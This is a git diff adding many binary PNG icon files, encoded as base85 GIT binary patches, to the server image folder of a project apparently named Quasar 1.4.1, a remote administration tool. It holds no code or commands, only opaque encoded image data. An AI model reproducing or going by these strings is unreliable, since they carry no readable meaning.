zbH-y;QF=hR{qLItf%ci2_&e5wNo0gnVatG?ul6Zw=o$I9Ljfn*ic3`U?>IfEim3g{ zujU&$-hy6wn;w(xme|zJm;lWJxtTFfM)q0`kX!Vu0+d${$}LCddK1<^htTe-fUYL3 zB`SdNsZD>RgvLj1<^@h6_+cDRK2Brcr2~>%$*5S)hyV33PV^teac3%|4lz@8p4?)5 z?t5o^?q+%^%)Yygo~I^U4VR!bTnWuE35hcWrfCDR3q+sxJ79e7Fg`&)RCqLA^2^y^ z0laVfadW90_Fz8Brm|r47sB^u1VgI>kanj)Z4`zMSfHlm8>CwXa$JVM`$2RrmZB-3 zN10m-!;BvH*Br3V8t`DH7m`jf#2upVDXl{5ff18_pzCPK1Zu$$CKKvd8FGeFf)+K<|x33pc7P&S#3GZT4mEw;nr(Ze*F z3&*?-4U-lm*#tber5 z%S_ceqB`b3ko6r~BbvDwdohTvP(3a(pq{x#T$yQsu#OKwEe}KuH^Mh@nxg_(Nw136 zq#a^3xNBke)In+!?qk3%4wB69{pF`Tzg`07*qoM6N<$ Eg55P&8UO$Q literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/building.png b/Quasar-1.4.1/Quasar.Server/Images/building.png new file mode 100755 index 0000000000000000000000000000000000000000..11a017cfaa73aef38f8f57db731dd0a7db835109 GIT binary patch literal 556 zcmV+{0@MA8P) zlTAwkQ51&X8OIL@qD-Qsuyhv$p|ucNxrho9Y}2|`xDEOTEecw+?FYDO86*-E5rS>n zv=AvFN@y{a*@rsg{b=qLr6CpRz~LV5-1D6GoVgdAbM)iS(J1e%9TO7RFz?{LbOt3dBco@bbZH_0OdOMw_$XmV%A>MsEcb`Yr*BlX@2gUVQP-&VZd< za>_O2!3tls`ejI^QczVDilWFhkw~CoyyJ1aXalrwqLnnQIvvPYZe=x1(-01a5s5@( zETH9D8Lj~r){d6fZGi3U)*z^IKH~J@tdy3AMUwEAiW;e6|7sTjUjW3U2TO;s**1U@ znlwz4-{}Q>zgCgCIR$evI2?{PBz>KRR(Ij;<3(IJKP7CpJp+2|*^>{$@+v3_xR>%u u#geUGuQH0)r!pqYfZJ_);(s2~f9wYukV^15?ld0&0000w!? zFisFv!T|cmRtW;1f$>$s0G>^*GP-h`H-mzTP&3`b(d;hDCL-{+T2LSiJi1S%34OTG znWn~v^Brk?FQB#MFuosf?qnt!t(A%g#tAAA`tV{p&t%~)6GMus628BV?|aP6=Lr0O zrxPn=6Fy3{fE84gngF`mQ;ZG4p#ul`mYb)mJw@Q%q_eddamvg>kv)yI#B0M!3sxev z!1s9dp#Z>KE{BK5@W%p1Kt!2cEYj2vBiUHDJ-HCTS{r%b!`Wj=!r&Tb+LFBfRN!=5 zl7aC&Ul)Foh{s4J>JU)^p9+C-Q44MR8(8|WK})8dx#e}T%`v`wFOp3_q9I1QsXihN zJVaEgK9Y|1KAJgEb`m$%VXVVh!8pM>`_Eli`}OBJfVb0i{tF{QT8%v&>u>-7002ov JPDHLkV1feuD8K*! literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/camera.png b/Quasar-1.4.1/Quasar.Server/Images/camera.png new file mode 100755 index 0000000000000000000000000000000000000000..8536d1a795888d8d396ac4211b639c6395dd08e6 GIT binary patch literal 665 zcmV;K0%rY*P)gJ-O!jxnD7oNLq;%;3B=$mW~C-A78b#}Ym zUa~ApY&IL$YPE8+w{2VKx^DRW{x^j};R(m*^Z8S9-^=ClFHtNO4^>s2WHK4B90Evd zRNvv@{p&Eky~2wRC-6pYqSb0Y8jr^>3G5|f?PqEtk*KFqDSspqL8sF}uh+wHIK<_n z6MX#q6V3T;+&aAjAq2YJ?gK?pbdSdaP1D3|HoL3QsY$Qbi+a6|a5#)~It`Knl7dhu zghr!*N~MB8Ab@N(i+;b4$z&p9n$6}7jROaR0fNCGwg*Re{(gmpDPU86x^Us%)obw2 z=aha6oFxO>?KYy(sFbSkv{)<Xg3cSx! zV*;wSwBMGSfGRX({TECm3Yn@1ESF0eb3TJT z!7c-;DBO+#(G_BEZ~a#M_t*Fbci5Cwkwgrt00000NkvXXu0mjf2e~nc literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/cancel.png b/Quasar-1.4.1/Quasar.Server/Images/cancel.png new file mode 100755 index 0000000000000000000000000000000000000000..c149c2bc017d5ce5a8ae9330dd7dbd012482e0f4 GIT binary patch literal 587 zcmV-R0<`^!P)FS^-G}e*;M)Q6>s#cP zI`Y#S($G6W`W@NI5g|L-MKl0Zmu$m^(0~^Lwo5OO~d#(vPfz1rk%1hOvQ!2cN2d2?-uHXIEo8vToeK|KINWnNa4+Xt#u)Ykn|6RndSZEQHfCZG5CcC=T z`(o_NTOjbCK|GPF4%)<=%>`agEOIe^kJ+gSd~H}=`AYZIyJS-%Y|LeBxc&DE@kHvV zh>Ui%*7I#PNlilw1y@n@6l>qJC^2jm6{4Z3p@!y54^361Eu)pbu{`o1V_kbZ`MR$y zdh0jGj(iV3!S4(B8je<^mAvy`W=jp*qRq6}I}f$q8`|h_Q{v2CJm`;u&vNob%1+ zFTE3bc_WXf=r)TKd7ilBkrYJ|6xbt=P8JPU8$uwCxnN(OvLzElWQ?HH@yRt*9IXg} zIOLWj55y@DBZp3w2pL@1nvE1YlsO_Sqo`8DDH+YcIB{TSltFqyn9ByBS`o9#bjhhy z{T8LWWL7#q48U*oqI1PMHbxl0LVz@WOoh4|CK+d}wxLVuz{Ee_tm+3HY*XrpL8Ev8 O0000fk+XBT$+GFLor|=G~7Z=&Bd_^zJLLP z{dbOmhNM(Q`mp7h`OloWYysF>=iU40Tf#?V356IC6~fPKul?5pw+W80zw#nVEgemD zincj})E^?AZGqXAKHDz@mch}3iwfqB3rPo#(gwa141DiTF(xO6U^eE%d{-hX0gf3o z8{W?(@4ZV6pRS)EXbxQZMi1!D!oC#YJOO&yAsn%9V=twmsxF*P_%ZxvD(XXc8T9DS zr0103x=g@fvEJ!1y5C7b$Hz+ryB7+I5>V>_sj5lWnV>%bWD?LRmBAb^h}fbg923Y3 zqK41OM-q_X|0W}n)p3}pGlwoCoNU0Ppf+VweFB8`9D=Abd!7lXx6+7Cma$90A4ue; zVKQTfc(bHa=}i!!qJ}b>M^UnvkNQWze=dVN?ZJ22Mf(14f#NRkt=PP(cyuKepkb#y3Gz>xmDvuMC zIuoRtGlX&@?9*%nGA0rvwq8W9jW)GLrXJl50KN-ci9ozQ$MNkH;k<IV|^+8goU4jB6C^%Mg5h>3Q7RCr>7r_DEKw7k44$|vUmJAm;${=2wBT`(Pek9N? z+*$Z3+nYyu(=ufrbdbTWW%|!LE6aD^rgi=em@XcV9q^{200000NkvXX Hu0mjf|3D;c literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/chart_bar.png b/Quasar-1.4.1/Quasar.Server/Images/chart_bar.png new file mode 100755 index 0000000000000000000000000000000000000000..9051fbc609b92b15af9be410e368b7adc20283b8 GIT binary patch literal 541 zcmV+&0^V&qIn(Wzh!))n z^W^$!aM&X3bCX~Vo|JLOLCb!-`g!yN7b-yh!|sbVZ|M~fElQAyiB?lO%sjz z7TJ==TTk%_A{ znxkIa+E~RC#EKF{U0G~y<6)R9(uCp7&f7|JN}RHwEO@{EgbF~D3a1<@ip|9yZb^6$ fo@6A$W#9P^w2GuX0-m@}00000NkvXXu0mjfB69Bi literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/chart_line.png b/Quasar-1.4.1/Quasar.Server/Images/chart_line.png new file mode 100755 index 0000000000000000000000000000000000000000..85020f3205adc903896aae3ac8b2431d81d25a92 GIT binary patch literal 526 zcmV+p0`dKcP)vZ>%h3)%~ z#+IbJ;FFDG??-c+T_21rm1LV#4~LF)_b?ghyQZ9u#u#o3H=L6>&|AoXU?qv@1Je4>AlGSTjH9nQnv` zZj`d7z#wVmBfa>gsDTLdFI#`g-3Fu!5 z$Es7u?8}cWwJkZs2@EU)U|{|IH*L!Qck23oaHd4px(fwB|2_x$_YKg$rO1-+wT;%l zQ`7tXR!Mt3P6M2(&pepC=Hh>#e_xW77aS^%7ub~^eqd9yzkqI;iK+$w0LJvVLF}yV Q@Bjb+07*qoM6N<$f}^baNdN!< literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/chart_pie.png b/Quasar-1.4.1/Quasar.Server/Images/chart_pie.png new file mode 100755 index 0000000000000000000000000000000000000000..fe00fa050a833fade14de445c554b21ff2266632 GIT binary patch literal 918 zcmV;H18Mw;P) z)5~v^RUF3g=bd?{7w4U(okA~6ODQu&AyTU)qaihDP=g^ZV5Kfhx?#trq@YHED?=nm z8X{F=Fli(%K&l}`AXu0%WX=(eO^E>Cfm*WCSBpMff|A0@P&0}b- z@vu|b_butF9--78p(rVogpgvCg!(S1p8cR&zh3^)8!?W*Wjq8aNzH zSpmoJP*=GgH>dKrnER?fW_*%Wj@zr0*Zui{_|PN3iC>TI+Zak*tPO9#w7Q3JJCC3a zV5jvo&RzX%snXq-j2JJCCKFaPcWV{5XYKvx54R5jK;Xmiqfw#6K%KP_V|Ed#`y;sT ztRPX@g88|-V2s`i>)nU8)Kx_5YbwyzXn{x#yz=&N6aWHTQcq{~E~`XS$nyzsS73cG z3QL6WP3FRQEO`2wAm>1$IgG-LK(wkHZA}qNaO(LBV0(k1a%AlSlq*pcu+U!h1V)QL zgVw}BN1A;dn&m(!J1{?U7yV-=mn2ht$Ch6^GqI93 ze+WNbT38m_O&H+JhxUC)WkQh%K3KqM@|PRK9ha^TE=rQe56?E8-@O!mOY_{s^E~~+ zrER?s(gWuj#5~m2gfP8eLrE$<02qDwZRYF#Q&Vl1x2yzvG^f0?x!E#`zrkO#K}6uf z191&uyJ(I-hT*FvIFc>{fH_#|IIB4w*PKo}@s=_t-U8qAV2))0#vr+bkRFJD&g~Ht zCg+jKWo*w;eE?u;o0&f2Z>pWiGPkB0;zk~!#wPeSgJuLNI7oO%#KI^Pr%}w^geyh& z?9h=#00@LWKC|erv2Np98pst8YG{N{93Bxo5>O($wzBNzVh zg|)61U)Dl=s^Xhk-THM1{5S%=@JIV|JKj0xDM_xYzV}>pVm|e*{jX;NfaR@ES)NqA sTB$w0a+2D0+Z&ca0*O=8=#zfKm;e9(07*qoM6N<$f`+80v;Y7A literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/clock.png b/Quasar-1.4.1/Quasar.Server/Images/clock.png new file mode 100755 index 0000000000000000000000000000000000000000..e2672c20676177efb2fdea593b8f000fd5f12342 GIT binary patch literal 882 zcmV-&1C9KNP)Zkp%;s8}r$h6cUMpt8KZ&`memftw9r2BH zXZp!+CFaEnJk?xA$eKJbHrNPn>;Axd{TeCT;zL2Z2lqOE#$fse--k~9GCAnb$WrIY zUzF=05;%7ScRp;-^ba=g4+!_yjOVxZHrAy=-Qy;3W{V_ws3i3@rj zN6Uq**d4Ifp5hMksmBf!JrmJQC(GkeNV1GOW##ZtQFwF|H80+P{}RL%{YNk_%ft(I z#;Cz`v~ti@ZP83cwQ@*mu2Dwn=d>z@4RV(M%#h6&LDo!N4vuc zo|;?G=MQ0U0&vMd?WX`v6t{tSSteePbgELlMO}xKy8^QHBD{2ALkbX%5TpZC;3a)d zD?(MwgLzpdUa8!vFvP literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/cog.png b/Quasar-1.4.1/Quasar.Server/Images/cog.png new file mode 100755 index 0000000000000000000000000000000000000000..67de2c6ccbeac17742f56cf7391e72b2bf5033ba GIT binary patch literal 512 zcmV+b0{{JqP)CQDsH?WF>AIFt zQuJ}i;w2$ZUU#3SZ6RY0Gw;kZ&ol1~2ky^QZ(fom$=jNJZt!z7w_pH~wdQ;R)Gh%BbQFCx+Nm!4SuS-vkr`vhhrX zM*>w%e+v~?m@q~ImPAgtLkR_3U<2F8LP3W5=LJ*ZN|S5p#sf4YFr$p~Q~Z*0Ngxf2 zjk#J#<7EAlhzlrV53~GF&pIzcCN_lz9@05UeoUXiK%N z#x+4o*i_c|6_Uu1+&TIho?3@y4k-#b8Y_o94zW*B3a1ne2-Y5s0uke$$|@=}OP-i= zNYZQA=>PrZu0MfSL=b8UhD_={W4IY1{b{)U)*gc45xtL%IYLY&hF;d`@GzI&7H&D# zh;z_BX$#hqh@q?AY3sJTod2%*Yd)_>YM0#q&ixGuh+PQsneK)F00007$(F5I~EPw2+A2=20Sy*#|n7r8sf)7*RgqMLv3&KWmL+^F4r z7i0Z}>kq&FSJ~Z9+<5!dQFwCOz1ndvw%m_4J#=sT@Q1U19`B}1iL1?~3va{ZF~|VI zfHw0WI@T{zdi2I_>3m@YYk3d;l(JU>d+bPFLOo8G;T$3)1!qp*$dock%HEEk|V0 z3L2&;r~p>tQh+yD{T!MxBF4;%7xC6JH1CtlE}+w%Xkuu&haUcdHC?=ZKr(+GZJfIQ zJ6@GU%>XYSae67{=&NN{rB<>+N;FbBA#_{A0WZW7cXJ0E=}(_?dx9< zr?bEW55s(NboZ^^cb|S1s~AxnBh?-gQ{Ob@*3}OO`vCi&FRqICO$~lSg*6r5QDf7DTmJy^bFNy&p3d3; O00004%P)i2vikyMR~)n*keF9=!Gc_n*K2@qsNT?}H4v4a974 z1ArVJApZ0B-@pGKzWw|E^3%Wn&p!V9|K$C@{}12&`+x7vzyG&i{r!LE6~yrB1;;^# zm?0Y=moxPMSn>r>N00000NkvXX Hu0mjf$^yWL literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/computer.png b/Quasar-1.4.1/Quasar.Server/Images/computer.png new file mode 100755 index 0000000000000000000000000000000000000000..9bc37dce369d66bdf38393b191df4d7e6c7ccd54 GIT binary patch literal 667 zcmV;M0%ZM(P)a!u4Ek1OWvhNg%r^rdTXsY3VK8?SdPP#w89em&*t9`8-y> z{{XWmi9uo#0y2mREC>R)tyU|D<2Xwun+7u3ce~yHC8N{n5>SE*7ca{{mxCuK52M#x z6?VgqVUHr69iApkt_fp7}UIJIX)^0!0b=W3KH zu#9)c?;$B!KqeOeo#x5*?d$d(>1am)Y%kbK4HaZEF7DqvCglmk2%DRMFl4hCO2bI^ zX=T@9j!era3Mj9K%ggW14jP4g$@9D^u1>q%4oF>&Q{%YG^bC$1Iv|Sn?VXTj+j1A` z_4;iBxjK9L%sJ01;N^>_f2ih9=zM1B|Mb6I%0_FShXA!&ZGuYnYi{m5Mm>)<#Bd!= zpw*3PwK}@fZ5>`FlHMWvu(zR>QH2KN`fNj zBHaWZEgiB#>49kYe(borqx+hj`JS_1d)R}7LjHa+tu+qg(TC+eO4&q(D;ZL8C8o8; zLEfZxiIlQ~iE1b1qBZ2=VhsA0V`*@y@M|Sc2@Wtadv3g0hOc*O(ADVFjPTWAYz(JXS z8MBaa%aCO{h8lvp*ONKIh5Bg|-DNo^;jg=q=uDZ@vodOJXfu;GK`ze`H-VrWK!nUg zje)ufRUJ&ouB2nYB2_pI=gji&GcuBL=+DM-wBZ)fbc7&a9AP1Ztk5)S4Ah03bqXOt zxx}VdK|CIVljyc=oqO1G{;Qew7T~%?tSw{^mi$E(2^Td6>M8+m4H!qrBtj~%w(Y~Q zVrXkVOEN#2&@(U(cX3H&S97B(;-}{)?<>?0)RjVZqrJ&ONChgCgE9%PC}CSBp!+d1 z`bkAqacXYz!94aLsJZ!K=3b*?T#ge1nL>bsZNf4&8mt(EkXYZ?MK0YwH2ZOI9{(VN z&%WPH*v6AY+yG?)mZ`CxE@5ZK2lW}4Pr-ctMRE2V`yf8$PurT4&^p3q*2kt>M8OM& zl@MbQ=U&8BS_$dSjo(q&2Pyd!8`}{~Xr#A_DDL|G({Ha$;Xe@?&|@q4QbvV}D#ixB ey}zEqA^Zgf(1+rQ>#k7%0000VN9{w9DwJzd%Gm5%l6k(Srw1f=C@i5k%a|<)Grew%RTzD&|xaqcXf< z9*@@$bXSuRnUR_GMnrG_gFk+>+ij)QYU#~plQkL*gL7`wYBg4^R`qhZto$k<$f_Xo z<#I{K-n-q7Ow**(=_LO_v`{FR`Fvje zCh%1@e~?F`5v|v2G7LjvFc=W3dWbN_cqWrko&v(J{s`D?He|Qk1!*YBtJR9ERvYzt zJ(|zwGN#k%P%@d+p8}#;49X}KB%94HV55G&Pm9Gu2v{Y$-LC8hs*A_t>?u&M*9|ml zyWL6wWCWZ}Ck=-~vRJGF7W(*b$n)iLp-3cRJO#v!q9QpfKQN-6~U9qU3VE{tZoOXQ3gborPd)C!*bfsFfgUA%b`K z{k54{z0H}ACRrHvW^d-rdyicUV+{VYtX~gCqfs0|(-=vN2o1PiuPW{>+#Atov}dlj zm>FQRf_YAoB-!b7g57TC=llI0*6TIQX0twmlwz@1Su_y<#c()O27`fy#f%p1x~?-# z)7Wme<7b=AhIKj}t=(=bMjvNzr~MuZg=Ct#TCD`Id5F*FgY9+;-ENndyrfd8-V+sI zk|x?lbD>axN~J2Ai^W%{R^I>_0Z9u6gEF#73lqsO`axO|3~qzj{hRS`0}LC%>-AD? zlFkeU5t@ED93Che0EA(j5rE6(g7f(t5ddbb)O7oPG}&BpJRae6I)RyiO6J&XwmSe5 z5k7R5;6} zlgp~&KoEw{L*wq6jM9+RMU)_iNO6K~b@$|K=nj zb2!5=4Mjq_zrU*f>U2#vSVnMZ9ja4cY`AdOM*t}k^goWqfa3Iq(>2kSH;P81hAqIyBm_{t1>+!KRdtb~{1AK7>C~ zD-Nov`UX!X6ET_La7f{B_|*cRuZGR%^C`gjd@jmW6h*+;8;{2{8ja|Fzf-YTq+l@k zGLg?!DijI~9$+CG0jUp9KZp49DjNvG4H?RHybjH%6LlQtR+QmfUZ9|2q} zb1_@3R&Y9<;C{c0I3ABMpUdND#U4V-<+4^P zmE;$|hi&#L-fp+BSS&zQRT1m;8m7~!4xyB?d_FJf0A4Ra+kcClPUnkQQ53O{tKaWK zCX*pLfH#XG8LeWiR_h-DK5r;AuD_5{@H zb&4IwGM39FxLj^tf(vG|nGhgMQJgRykHusLg8@XN(Ps&Kz61{+kB1PTO^?STGGd^0 zLI@0pL%7{;P%IW991cI5$mc2*3I&EG;6f2*N9brY5<+}p0(|FU#zT6!NV!~2&StY3 zjt&2KI2?o<1mR`E%xIkpwLl;se|weF>9m|oCK)eD*v6h<%{X^{d4LO<&*zhW{FoAn zgcONHNGKGd!C+AJ`~4~xQLooa_`CG$*Z8mT4&e|nrfoDRBme*a07*qoM6N<$f-U?5 AUH||9 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/control_stop.png b/Quasar-1.4.1/Quasar.Server/Images/control_stop.png new file mode 100755 index 0000000000000000000000000000000000000000..c9b49f28147bdb47ea652efae9e693f5f75d99a9 GIT binary patch literal 350 zcmV-k0iphhP)m3YgTot7 zF)m$AE(JC>37%jK%Zw0tMVoWsg_epk_=y3!I8k0`>X>a4xX$EJBpz~;F^;qs?(70n z;)pQsg-1M4ddI%?LW9DD_}Sw%6fj_t9($>9qi0+xnOh_*V1u~N{|T|1j;O0XK3S18 z9(Z_<9zIY-kSe_+Uh9s(1HQ4qy{_r0XCiLueP)TcDHRjFwyR49fBE=0SrAQVAxqZ`35;M!d_>Nn7(Yg2F` z1vlcNi$EwyQ)xj+tCU)6UTm8-FYn%Q@nZgv>VaV{%$;-Qo;&K+v&9$F$=H(~+lm8- z0Adgk#0Z!mi!m4@6ib!2?_bW}qk+)1(fHHTL+1etq;Uer#c88T|dM4_%NSVb{RO;L$#*c>!gO`EEaw+pK$^dpxC_E1xZNEcKya6MW%d@1@X+oh8 zN-6#Y&+{UVuEoyT++I zn$b9r%cFfhHe2K68PkBu*@^<$y+7xQ$wJ~;c5aBx$R=xq*41Wo zhwQus_VOgm0hughj}MhOvs#{>Vg09Y8WxjWUJY5YW zJ?&8eG!59Cz=|E%Ns@013KLWOLV)CObIIj_5{>{#k%TEAMs_GbdDV`x-iYsGH z#=Z{USAQA>NY(}X7=3{K8#oDJ*ZwBk|ase^C7REMJymU&H?~9uWmzw65p*^IVJu&wC|Dv4N5e>9E;(P6HOFo z5V5qTX}TdOGiXp^=!VH`=oX?tgA%i0SekX+Qp})1iLRS1&4w`TY3d510ag jC#T2dQT@|{69E1Lbo-vB@xlE^00000NkvXXu0mjf>JFD! literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/database_go.png b/Quasar-1.4.1/Quasar.Server/Images/database_go.png new file mode 100755 index 0000000000000000000000000000000000000000..61a8556c403a1b56cb7719f4916d07ed82cd55ff GIT binary patch literal 698 zcmV;r0!96aP)U4c>+hFP*|&0tGt{!YG|5fRw@-UpUxK})gOY{KjH!sGG4?RHzSe!mY<6j86&kw_%0+>rt+UvTG zPNxG!QLHl_`>TN6lhf(69Pnfg>e~`ot!6OL_K}%<0mC@>2*2;ZcEFQ4iGwF{@R*{j z7!M|qd3hZgQye2(un7;}EWl(MRHj3v{mH--l93DO%KKRTaX^3MX`58z^<+{ z6<23&!!Q{PW`ItyBW>gC_$Bnz0p8cvrP&8U;E(_Zug)QpWlpZPzmjE&ksHm>&{4WL zcWMqjtuMUYDzy&;xOM)i=ubqW(I5dCx}hU{e1gb^CAKTo5EzT#!}bO?zL#36j`?8+ z3*~b8c`}*w$6_%IbOkHrWx4~^auW|u<6?Xs@2VxNZ5G?Ij>|hs<|oJSYs}?xlO%MH zkQM~t1b+*>9q#P0c*i_HG3Qv{e6_1E^9qr_9C}QDj%+r2jL4@6j4t)_BWY1InA104 gM*QcJxn<}50%n)c1HutrKL7v#07*qoM6N<$f)5Qpt^fc4 literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/date.png b/Quasar-1.4.1/Quasar.Server/Images/date.png new file mode 100755 index 0000000000000000000000000000000000000000..0d5fa0fe42ef86073cfe092c559b37cfd65d244f GIT binary patch literal 616 zcmV-u0+;=XP)=@B91vk&%&-2ndyxm6#kHuAZK*pP#Ow zp{}m3udlDP1_rea4Y;_ty1Kf&A0NEDyuBzWzP`S{zrVu5!o$PE#KgqK#l^<}0LRD2 z$jHdav$M&`$;!&g%eA%3%gf9O3CzsQ&9=7A6co<5xX%Cp&jA6@0|U|r2i3&H*2Kit z#l_bE0M`-{*x1lr90p{lB=PfPhGc)Mu=;=E<>kkj>>+9_7?Ck;q z?F0nw?(XmJ@ADHA^Yiod_4W4l_V@Sq`1ttw`T6?#`uqF){QUg={r&#_{{R2~?c|?y z0000CbW%=J009I%L`cNP%HZ++iZ@Fo0002fNklq3Hlkd|#K!9@lJVKT({{hgkt0CA;&sFq?NT(8R0*ED3cH~#n= z-aFwyQ$LSrI;k!Yg=*m!@pt3j{CfooqwZ6E7{Y$}&^ZDJ)kU_DLp_N_?+3?v(gnaG zbz0*9*v-#hVly*90hoXHE~izDF{6NSWoD1l;5|411Gahh6}{mA0DC?QC$cO}jay)5 zHv=!9V?}A~PDDf{Esxt4p+8UnKqPIpjy3}T0EvHLq*&yv5YNN_0000C4}Mrzlg<+1Y8PEBfUp0jJpx4B>@E+cy3`^(Gw`Mf+2&yxZm<$to~Vpgvg&QKNR z_f#1(r6svZt%iF?s+n<8X?B&!h3g9Dbb8_=MX}!;HiQSAh`bp^WMl~Z-44teO7W_Y zV4thSL{h;rJY7!l3%5J4H1!tIzB`Dv+YxO(haWeausGZYkI8^hWj6mzo=L0{%;yxzh{5!Htr?51 zvG|W62MzC8BZ76hRpCyO2zOn<%e)K>NHge!-~)Ap33OdWw6hsLYbCxGNt0%wk_2z7 zfyYvXheSG)5HRK1VB~%mq7Dmurw#bi@hEcOr3&G1ZiF*$M=&9nB#VNf&Q^r$4G5kp zTURh&s)E0%5&hyVD}sp<72~zmAY`Y(9aqO6CXF%=zFHGzO-A&I(pE}v70YQxCPJ{Y z4L+?5-crdLn3ZRPEs!A4ehEY3ZRpL~w9>@aMN+{F4dI@v&>(QDHQum!mG~E^$OS8l z!7?%Uwib*ROP67Hw`ika)gX-(8Ia`-u_IEhxG7U<13kSsMW+$lbb2dUMm5p6pa}cjgA+U$^mJ^AjD?&bdi)8~y+Q002ovPDHLkV1g8IMc@Dc literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/disconnect.png b/Quasar-1.4.1/Quasar.Server/Images/disconnect.png new file mode 100755 index 0000000000000000000000000000000000000000..b335cb11c4d1a397b307883adcfe1e00c4cf8e6a GIT binary patch literal 796 zcmV+%1LOROP)h5&w{Y-QlBkdy7eSyz8|k(w=syt3MbOGZFmTy2f|dnI3kj6Sz)H!` z%1hM3FiovS8#Qs98Rxs5^PSs#9S4da6*};44(Iv3@B5rb3BwQ$Is?0$0ilY#Q^EELL=6SfS*Ly93GR<|lPYvfPXoM^)HN1)!-B@N5Zi(e|Ge`rl{XLurIiz-D}wH~H+MJzd|s z^YP1Hc07G_>)Lgir!F1{Qn4GcTg%?koHo<=1qRN{}nPDolOeI^o4N5I>! zU$N=L=sg~ zDx#dOA*B0N~cqPsWI(^rbbkh)DS0_H_UN0C4l_kvWIm2#Kyy6%BCh z(yIUf003&1xdx>t$*eR2ZvXxT0001Z_R$y3Iju92q*wg58};}zm(OaAH=p|y0002M zh5O5#fxp|~jc?yi@+7$`d4Q6Hl%z;WiWG??NXR{Hx%)pMd~SE0000OQI literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/disk_multiple.png b/Quasar-1.4.1/Quasar.Server/Images/disk_multiple.png new file mode 100755 index 0000000000000000000000000000000000000000..fc5a52f5e4a7e8eb54bcd59728e88a2db5f046ed GIT binary patch literal 691 zcmV;k0!;mhP)h|XiB@gI zjUjC!t---iaHXP+)r{6Ojx+c3eOp)#T8qGEea`PZ=iwYN#&8(f07GMovvqMO`yt0_ zV{GIqh=SUrg*L*EVuk5U_QA?{|KdLZm9oqA&I{b?sAXd2Gmr0G+E?`AZ62*91#}$* zh%tuyPiAI&x-YV_mTQj!pIA(Bw8r7bRXMZUbwz}06c5|lmvZ$Nsq_x5imrlk>1*KX6(-bq8O z2^19ECQj9aBx7KUR8RS!t_)7SYimBz-4JgeVb>Gt0MQyT5n9SDtu2!)2FyRdD{|O( Z{ssThAulbFM%4fS002ovPDHLkV1fh$IWzzO literal 0 HcmV?d00001 diff --git a/Quasar-1.4.1/Quasar.Server/Images/done.png b/Quasar-1.4.1/Quasar.Server/Images/done.png new file mode 100755 index 0000000000000000000000000000000000000000..a9925a06ab02db30c1e7ead9c701c15bc63145cb GIT binary patch literal 537 zcmV+!0_OdRP)Hs{AQG2a)rMyf zFQK~pm1x3+7!nu%-M`k}``c>^00{o_1pjWJUTfl8mg=3qGEl8H@}^@w`VUx0_$uy4 z2FhRqKX}xI*?Tv1DJd8z#F#0c%*~rM30HE1@2o5m~}ZyoWhqv>ql{V z1ZGE0lgcoK^lx+eqc*rAX1Ky;Xx3U%u#zG!m-;eD1Qsn@kf3|F9qz~|95=&g3(7!X zB}JAT>RU;a%vaNOGnJ%e1=K6eAh43c(QN8RQ6~GP%O}Jju$~Ld*%`mO1pR5;6} zQ_E@-Q5gPaa(xuUD*8Dh=U) zD{du|NeqWWL?V$HXdX!Y!C-(yB7saML!ujex*;{2O`)Djr7#|kPuQhW2q;Ms0)c=~ zkH_PP#bVGj4c%_H7$kMFPPNjeXf!IqSD$x6*>zo*ripw$k5;R-5hNwUFfba8!~yx6 z=rAe!W9?@Z6U#s;`2>;BIVg%EToOTn*l9o@UXrjZ%kl{a6J?6!^cr66Z{p$NQ>dy+ zm_m?Lsa6Uipdf-Tsn=YYU!iM*@iq1QD%O^6;K(%ay#ENB>Pu0!An<`?HJ8hY-2KIH zcfAb9D}@EUQ{QK< v0Jmp<;WRC~B^izzSeUp@_IuU)>d*fH-<_8fCSRm-00000NkvXXu0mjfMI6@>P|2u(tv7b=KIl+wsgV@<@e*jCUY7=e;6+2+<% z=39E)&Y3&g&fIj=+>6`P?QFX`&qGIYeyIZ&_j7LU>vx{}ex9QMp!i!3hoiz`v1q5J zrk2OX#(tU2=D5jZ;*3V)&^yD>+0y!>h12O&N@ks8&IN-(#9}e*?d>6x$sn0b!tHip z=;c#!Sl4IJY6i-V0sff3@H~%Vv513%0}zNH2#7|b$mjDY=Jz4)bFfUm$BX9=Yyo#%fy_^Vi~$?>=7ebQy10Lgqx+IAtGPE$iF zm7BanwY5CZL_29lFjQ zCM5tP8H3V#SK46~Hk%C{9UVGFd3ibhRb(~<9FNE0^ZC%$*0xFk48y?V@xX4kL$BA< zViH545Y5XuGFZRgk3b-RNF;)mmX;_5kRsVcAVef5=jG_w@MD4TQnA7|E;L`+Jpmw+ z&7}Y}T982`mbNgn%46mSkGahVUVR)#&H2WW{~Dre(~oa! zJ}e1wsLs_D)K%4|=|$3LG&-x*ibz5_%J3Ro!V1=Xi&*h2V2O2L(fu7Bo}&X4B2n~f zU!$_RZsh1D4h{|~`=0eqfB0;K@28tW2w>SWk0ox7LRddTk8gBz6qV|#NtH^aJoYp7 z^zhOb?3 uWiDU67;9>7h&43TGxZI%!;-n8wEj1TbK{B5NGa9;0000Az`{eoOom?Tf*9)f$7n8&|1&5M4#i^32;+&E? zC3Q;bRFQN#y*%%=_V)Mfa<$xe^kB0TO;vJPkN*k(2v-CI7)OaWj?&eKPos(H4wGh_ zIC;6#q1B5SMap5{(Hc0~XO7OfqZ=x{kupu8-H&9azl`L1pTuu^Znm3EA)kCoG=JuwsyNLEtY83i->Z~j3y~F)`RA1k>zTES07po!kBVS2y#L{jCt|CMY&v{ zxmqM|`OA#P2{R&)OcQd}v0kt6_Dh#`Z$i5_;q|93je3Q^PcfR{TmBHRmr;rWahz~G 